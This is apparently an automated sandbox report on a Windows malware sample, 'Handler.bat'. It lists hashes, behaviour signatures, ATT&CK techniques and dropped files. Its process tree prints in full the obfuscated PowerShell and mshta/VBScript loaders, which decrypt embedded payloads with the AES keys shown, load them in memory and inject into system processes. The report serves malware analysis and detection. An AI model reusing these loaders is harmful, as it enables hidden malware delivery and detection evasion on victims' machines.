6d886767f487cd0bc1ee29c899540e2ccfe6f1d3253ea629acd8d397a0a84faa

Analysis

max time kernel
60s
max time network
19s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
18-08-2024 13:35

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General

Target

Release/Handlers/Handler.bat
Size

12.7MB
MD5

e154d92aa7ecd7728940f32bb2c82cc6
SHA1

b004e191ae993b3deab2d77c6f99c64e5de55672
SHA256

37be53a96145cd6ad7557e95d85a256377af9d9e126538a4733ebde178254cc5
SHA512

b8b822fc4d8295a59700b7750fff7841f56ed877207e622dd7d7b0435ce737f212d5f754c95f2329b87e83c1ae796b07724276473256d8787f0f87b1871121e4
SSDEEP

49152:Fh5PUtdFBcAJU7Ygqef4u6NE6BGzp3OtWxgusC7QG5r0Wn9O3oGpWJtPS1P8keqj:4

Score

10^/10

defense_evasion

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

Handler.bat.exe

description pid process target process

PID 2284 created 592 2284 Handler.bat.exe winlogon.exe
PID 2284 created 592 2284 Handler.bat.exe winlogon.exe

description	pid	process	target process
PID 2284 created 592	2284	Handler.bat.exe	winlogon.exe
PID 2284 created 592	2284	Handler.bat.exe	winlogon.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

$sxr-mshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Executes dropped EXE 4 IoCs

Processes:

Handler.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe

pid process

2284 Handler.bat.exe
4736 $sxr-mshta.exe
4148 $sxr-cmd.exe
2252 $sxr-powershell.exe
Hide Artifacts: Hidden Window 1 TTPs 1 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
defense_evasion

Hidden Window
T1564.003

Processes:

$sxr-powershell.exe

pid process

2252 $sxr-powershell.exe

pid	process
2252	$sxr-powershell.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

Handler.bat.exe

description	pid	process	target process
PID 2284 set thread context of 3432	2284	Handler.bat.exe	dllhost.exe
PID 2284 set thread context of 4544	2284	Handler.bat.exe	dllhost.exe
PID 2284 set thread context of 1048	2284	Handler.bat.exe	dllhost.exe
PID 2284 set thread context of 1592	2284	Handler.bat.exe	dllhost.exe

Drops file in Windows directory 6 IoCs

Processes:

Handler.bat.exe

description	ioc	process
File opened for modification	C:\Windows\$sxr-cmd.exe	Handler.bat.exe
File created	C:\Windows\$sxr-powershell.exe	Handler.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Handler.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Handler.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	Handler.bat.exe
File created	C:\Windows\$sxr-cmd.exe	Handler.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

$sxr-mshta.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance $sxr-mshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

Handler.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe

pid	process
2284	Handler.bat.exe
2284	Handler.bat.exe
2284	Handler.bat.exe
2284	Handler.bat.exe
3432	dllhost.exe
3432	dllhost.exe
3432	dllhost.exe
3432	dllhost.exe
4544	dllhost.exe
4544	dllhost.exe
4544	dllhost.exe
4544	dllhost.exe
2284	Handler.bat.exe
2284	Handler.bat.exe
2252	$sxr-powershell.exe
2252	$sxr-powershell.exe
2252	$sxr-powershell.exe
2252	$sxr-powershell.exe
2284	Handler.bat.exe
1048	dllhost.exe
1048	dllhost.exe
1592	dllhost.exe
1592	dllhost.exe
1592	dllhost.exe
1592	dllhost.exe
1048	dllhost.exe
1048	dllhost.exe
2284	Handler.bat.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

Handler.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe

description	pid	process
Token: SeDebugPrivilege	2284	Handler.bat.exe
Token: SeDebugPrivilege	2284	Handler.bat.exe
Token: SeDebugPrivilege	3432	dllhost.exe
Token: SeDebugPrivilege	4544	dllhost.exe
Token: SeDebugPrivilege	2252	$sxr-powershell.exe
Token: SeDebugPrivilege	2284	Handler.bat.exe
Token: SeDebugPrivilege	1048	dllhost.exe
Token: SeDebugPrivilege	1592	dllhost.exe

Suspicious use of WriteProcessMemory 47 IoCs

Processes:

cmd.exeHandler.bat.exe$sxr-mshta.exe$sxr-cmd.exe

description	pid	process	target process
PID 2796 wrote to memory of 2284	2796	cmd.exe	Handler.bat.exe
PID 2796 wrote to memory of 2284	2796	cmd.exe	Handler.bat.exe
PID 2284 wrote to memory of 3432	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 3432	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 3432	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 3432	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 3432	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 3432	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 3432	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 4544	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 4544	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 4544	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 4544	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 4544	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 4544	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 4544	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 4544	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 4544	2284	Handler.bat.exe	dllhost.exe
PID 4736 wrote to memory of 4148	4736	$sxr-mshta.exe	$sxr-cmd.exe
PID 4736 wrote to memory of 4148	4736	$sxr-mshta.exe	$sxr-cmd.exe
PID 4148 wrote to memory of 2252	4148	$sxr-cmd.exe	$sxr-powershell.exe
PID 4148 wrote to memory of 2252	4148	$sxr-cmd.exe	$sxr-powershell.exe
PID 2284 wrote to memory of 1048	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1048	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1048	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1048	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1048	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1048	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1048	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1452	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1452	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1452	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 2812	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 2812	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 2812	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1128	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1128	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1128	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1592	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1592	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1592	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1592	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1592	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1592	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1592	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1592	2284	Handler.bat.exe	dllhost.exe
PID 2284 wrote to memory of 1592	2284	Handler.bat.exe	dllhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:592
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{23c621aa-c62a-4f76-a3f3-8649b062a849}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{575ae588-542b-4055-8c53-3889cbfc47d9}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1048

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2796
- C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe
  "Handler.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function AsZVG($IObBH){ $nGKhQ=[System.Security.Cryptography.Aes]::Create(); $nGKhQ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $nGKhQ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $nGKhQ.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z1mnkXiSZPv8R2MpZKBD3X42qpFHtc3mYWmVqJ/jqFk='); $nGKhQ.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oe8taAs+mjon3dfZMtxPIg=='); $IIMfj=$nGKhQ.CreateDecryptor(); $return_var=$IIMfj.TransformFinalBlock($IObBH, 0, $IObBH.Length); $IIMfj.Dispose(); $nGKhQ.Dispose(); $return_var;}function nroxc($IObBH){ $lXPBt=New-Object System.IO.MemoryStream(,$IObBH); $jzRog=New-Object System.IO.MemoryStream; $raowK=New-Object System.IO.Compression.GZipStream($lXPBt, [IO.Compression.CompressionMode]::Decompress); $raowK.CopyTo($jzRog); $raowK.Dispose(); $lXPBt.Dispose(); $jzRog.Dispose(); $jzRog.ToArray();}function Dtllp($IObBH,$RqHgm){ $OepAU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$IObBH); $TRlDt=$OepAU.EntryPoint; $TRlDt.Invoke($null, $RqHgm);}$pyjrp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat').Split([Environment]::NewLine);foreach ($FdSgb in $pyjrp) { if ($FdSgb.StartsWith('SEROXEN')) { $AdNpy=$FdSgb.Substring(7); break; }}$tMmhK=[string[]]$AdNpy.Split('\');$vypGp=nroxc (AsZVG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tMmhK[0])));$asijd=nroxc (AsZVG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tMmhK[1])));Dtllp $asijd (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));Dtllp $vypGp (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{e83bb8f9-a68a-4d3d-86e9-ad9c86c68f3f}
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4544
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{7f946606-f3f4-4359-8927-7cef8af0882f}
    3⤵
    PID:1452
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{2c584f31-3b18-4797-aa2d-cf346a1045a5}
    3⤵
    PID:2812
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{4c2587e7-63b4-4603-8c1e-fc8da29766c3}
    3⤵
    PID:1128
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{73526fce-b2c6-443a-9feb-27e802959c79}
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1592

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-SuFaBOaZkphcFfsPxOCG4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4736
- C:\Windows\$sxr-cmd.exe
  "C:\Windows\$sxr-cmd.exe" /c %$sxr-SuFaBOaZkphcFfsPxOCG4312:&#<?=%
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\$sxr-powershell.exe
    C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function sXCMM($CkDpq){ $zljWq=[System.Security.Cryptography.Aes]::Create(); $zljWq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $zljWq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $zljWq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0='); $zljWq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg=='); $QOVuV=$zljWq.('rotpyrceDetaerC'[-1..-15] -join '')(); $XqeJd=$QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CkDpq, 0, $CkDpq.Length); $QOVuV.Dispose(); $zljWq.Dispose(); $XqeJd;}function pIPqe($CkDpq){ $RVxvX=New-Object System.IO.MemoryStream(,$CkDpq); $MPpXr=New-Object System.IO.MemoryStream; $tIDwQ=New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::Decompress); $tIDwQ.CopyTo($MPpXr); $tIDwQ.Dispose(); $RVxvX.Dispose(); $MPpXr.Dispose(); $MPpXr.ToArray();}function OVJQF($CkDpq,$HUtBG){ $QhIbf=[System.Reflection.Assembly]::Load([byte[]]$CkDpq); $edhhl=$QhIbf.EntryPoint; $edhhl.Invoke($null, $HUtBG);}$zljWq1 = New-Object System.Security.Cryptography.AesManaged;$zljWq1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$dKTJk = $zljWq1.('rotpyrceDetaerC'[-1..-15] -join '')();$RVcQq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Nh0O9Tq4WhjVRVv6TIlxng==');$RVcQq = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq, 0, $RVcQq.Length);$RVcQq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq);$OATYX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DphlnsvScNekfgsLVTd7mzDTpuPYV2uzlVKF5APiXTs=');$OATYX = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OATYX, 0, $OATYX.Length);$OATYX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OATYX);$pxqaL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VOurjNNOAf3rWCyDVTfXEg==');$pxqaL = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pxqaL, 0, $pxqaL.Length);$pxqaL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($pxqaL);$sZmZm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bwCwxwfgvgLvd83CID2tuY2PW5n2F6O9HvfP0OXG8B2If0HCFuJvOfQkZnJJHGqr4W77keqJnrHoUOLsxavQfVPJgnZi5dCVwfqInTPzI5sB/ovu8wzR06kYDbDCFSZIUmhZnetqX07nQ3nN2G8dx8hDcvN8OEtke141bP5XbYA7V7pEdDf3FgqTYuWoMaz+k56vPVibKCooeH7zQ3DK29EBBQ9NAhbbXDFzReMv7zlMDbkoqlsAAEqbrXnoCu5yb4MKtcf+DHcvr/3wdC9bIKzrVR+Z59S5tuu5Ot2efgPcTwmjF9AfsSO6Z0XGodft9zU2RXKHKxayYhES9v/HDue0kdAd1egn28t4LVgg/sk/Lq23+HYJ+gLzHX2a8njudWREXxqxpxGUV/yJzhNVaEtLryDlFlbG61xiz9rtJRc=');$sZmZm = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sZmZm, 0, $sZmZm.Length);$sZmZm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sZmZm);$hunvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rq5zXkyy0NL/id4X1CFNpQ==');$hunvf = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hunvf, 0, $hunvf.Length);$hunvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hunvf);$uooKb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wR0HI5liF2OH5JSIeYrcUA==');$uooKb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uooKb, 0, $uooKb.Length);$uooKb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uooKb);$HssPO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wr1hAjwP3vd25eg2X2PyLA==');$HssPO = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HssPO, 0, $HssPO.Length);$HssPO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HssPO);$coosp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('W+228sMz/VVvzW5Wi2DfeQ==');$coosp = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($coosp, 0, $coosp.Length);$coosp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($coosp);$cqFrb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LnPkErAMqZ8UA2dOM3NRUw==');$cqFrb = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cqFrb, 0, $cqFrb.Length);$cqFrb = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cqFrb);$RVcQq0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jzKuA/Szphx4DaASO5/17A==');$RVcQq0 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq0, 0, $RVcQq0.Length);$RVcQq0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq0);$RVcQq1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KBGLdnELndsDRqQwc9+ZdQ==');$RVcQq1 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq1, 0, $RVcQq1.Length);$RVcQq1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq1);$RVcQq2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h0utQU1KufGAbeZac8uGpg==');$RVcQq2 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq2, 0, $RVcQq2.Length);$RVcQq2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq2);$RVcQq3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NHOzA0blhk4FfOP1QwdrHA==');$RVcQq3 = $dKTJk.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RVcQq3, 0, $RVcQq3.Length);$RVcQq3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RVcQq3);$dKTJk.Dispose();$zljWq1.Dispose();if (@(get-process -ea silentlycontinue $RVcQq3).count -gt 1) {exit};$wqkcL = [Microsoft.Win32.Registry]::$coosp.$HssPO($RVcQq).$uooKb($OATYX);$khgFI=[string[]]$wqkcL.Split('\');$IeVcP=pIPqe(sXCMM([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[1])));OVJQF $IeVcP (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$dgCqa = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($khgFI[0]);$zljWq = New-Object System.Security.Cryptography.AesManaged;$zljWq.Mode = [System.Security.Cryptography.CipherMode]::CBC;$zljWq.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$zljWq.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2j38zfvlS2eG10+5Bn8oKr9nVYk0RQST+LfAJHy33f0=');$zljWq.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dQc6M4a1U8SkygTmibGyDg==');$QOVuV = $zljWq.('rotpyrceDetaerC'[-1..-15] -join '')();$dgCqa = $QOVuV.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($dgCqa, 0, $dgCqa.Length);$QOVuV.Dispose();$zljWq.Dispose();$RVxvX = New-Object System.IO.MemoryStream(, $dgCqa);$MPpXr = New-Object System.IO.MemoryStream;$tIDwQ = New-Object System.IO.Compression.GZipStream($RVxvX, [IO.Compression.CompressionMode]::$RVcQq1);$tIDwQ.$cqFrb($MPpXr);$tIDwQ.Dispose();$RVxvX.Dispose();$MPpXr.Dispose();$dgCqa = $MPpXr.ToArray();$tbTTb = $sZmZm | IEX;$QhIbf = $tbTTb::$RVcQq2($dgCqa);$edhhl = $QhIbf.EntryPoint;$edhhl.$RVcQq0($null, (, [string[]] ($pxqaL)))
    3⤵
    - Executes dropped EXE
    - Hide Artifacts: Hidden Window
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe

Filesize
435KB

MD5
f7722b62b4014e0c50adfa9d60cafa1c

SHA1
f31c17e0453f27be85730e316840f11522ddec3e

SHA256
ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa

SHA512
7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xbn1qp2l.tbv.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
265KB

MD5
94912c1d73ade68f2486ed4d8ea82de6

SHA1
524ab0a40594d2b5f620f542e87a45472979a416

SHA256
9f7ebb79def0bf8cccb5a902db11746375af3fe618355fe5a69c69e4bcd50ac9

SHA512
f48a3b7a2e6426c0091bb159599921b8e4644c8ae83a2a2a82efc9d3e21e4e343d77339917d8aabed6d8025142a2a8e74bf1fa759edb6146bc6e39fbece9e05d

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
98447a7f26ee9dac6b806924d6e21c90

SHA1
a67909346a56289b7087821437efcaa51da3b083

SHA256
c162abe51a04727507be4f98b95db6356dd64decd042dfb4090e57fa0101f2ed

SHA512
c708672a28072c7754eb99f0cf2aa81bf7205d8512ae44242848c2160acf26454029bfb4b76f928bac27a3bed260f95a71bd12bcf2620865b756ba89d66f261b

Download Submit
memory/2252-148-0x000002BF74BB0000-0x000002BF74CE8000-memory.dmp

Filesize
1.2MB

Download
memory/2252-142-0x00007FF8A1910000-0x00007FF8A19BE000-memory.dmp

Filesize
696KB

Download
memory/2252-141-0x00007FF8A1F80000-0x00007FF8A215B000-memory.dmp

Filesize
1.9MB

Download
memory/2252-138-0x000002BF74390000-0x000002BF743B4000-memory.dmp

Filesize
144KB

Download
memory/2284-35-0x00007FF8A1F80000-0x00007FF8A215B000-memory.dmp

Filesize
1.9MB

Download
memory/2284-10-0x00007FF884DD0000-0x00007FF8857BC000-memory.dmp

Filesize
9.9MB

Download
memory/2284-32-0x00000185A8000000-0x00000185A8024000-memory.dmp

Filesize
144KB

Download
memory/2284-37-0x00007FF884DD0000-0x00007FF8857BC000-memory.dmp

Filesize
9.9MB

Download
memory/2284-38-0x00007FF884DD0000-0x00007FF8857BC000-memory.dmp

Filesize
9.9MB

Download
memory/2284-39-0x00007FF884DD3000-0x00007FF884DD4000-memory.dmp

Filesize
4KB

Download
memory/2284-40-0x00007FF884DD0000-0x00007FF8857BC000-memory.dmp

Filesize
9.9MB

Download
memory/2284-41-0x0000018598290000-0x0000018598CE0000-memory.dmp

Filesize
10.3MB

Download
memory/2284-43-0x00007FF884DD0000-0x00007FF8857BC000-memory.dmp

Filesize
9.9MB

Download
memory/2284-44-0x0000018598CE0000-0x0000018598D86000-memory.dmp

Filesize
664KB

Download
memory/2284-59-0x0000018598D90000-0x0000018598DE6000-memory.dmp

Filesize
344KB

Download
memory/2284-60-0x0000018598DF0000-0x0000018598E48000-memory.dmp

Filesize
352KB

Download
memory/2284-61-0x0000018598E50000-0x0000018598E72000-memory.dmp

Filesize
136KB

Download
memory/2284-64-0x00007FF8A1F80000-0x00007FF8A215B000-memory.dmp

Filesize
1.9MB

Download
memory/2284-73-0x00007FF884DD0000-0x00007FF8857BC000-memory.dmp

Filesize
9.9MB

Download
memory/2284-152-0x00007FF8A1F80000-0x00007FF8A215B000-memory.dmp

Filesize
1.9MB

Download
memory/2284-153-0x00007FF8A1910000-0x00007FF8A19BE000-memory.dmp

Filesize
696KB

Download
memory/2284-4-0x00007FF884DD3000-0x00007FF884DD4000-memory.dmp

Filesize
4KB

Download
memory/2284-72-0x0000018599100000-0x000001859910A000-memory.dmp

Filesize
40KB

Download
memory/2284-79-0x00007FF884DD0000-0x00007FF8857BC000-memory.dmp

Filesize
9.9MB

Download
memory/2284-147-0x00007FF884DD0000-0x00007FF8857BC000-memory.dmp

Filesize
9.9MB

Download
memory/2284-82-0x00007FF884DD0000-0x00007FF8857BC000-memory.dmp

Filesize
9.9MB

Download
memory/2284-27-0x00007FF884DD0000-0x00007FF8857BC000-memory.dmp

Filesize
9.9MB

Download
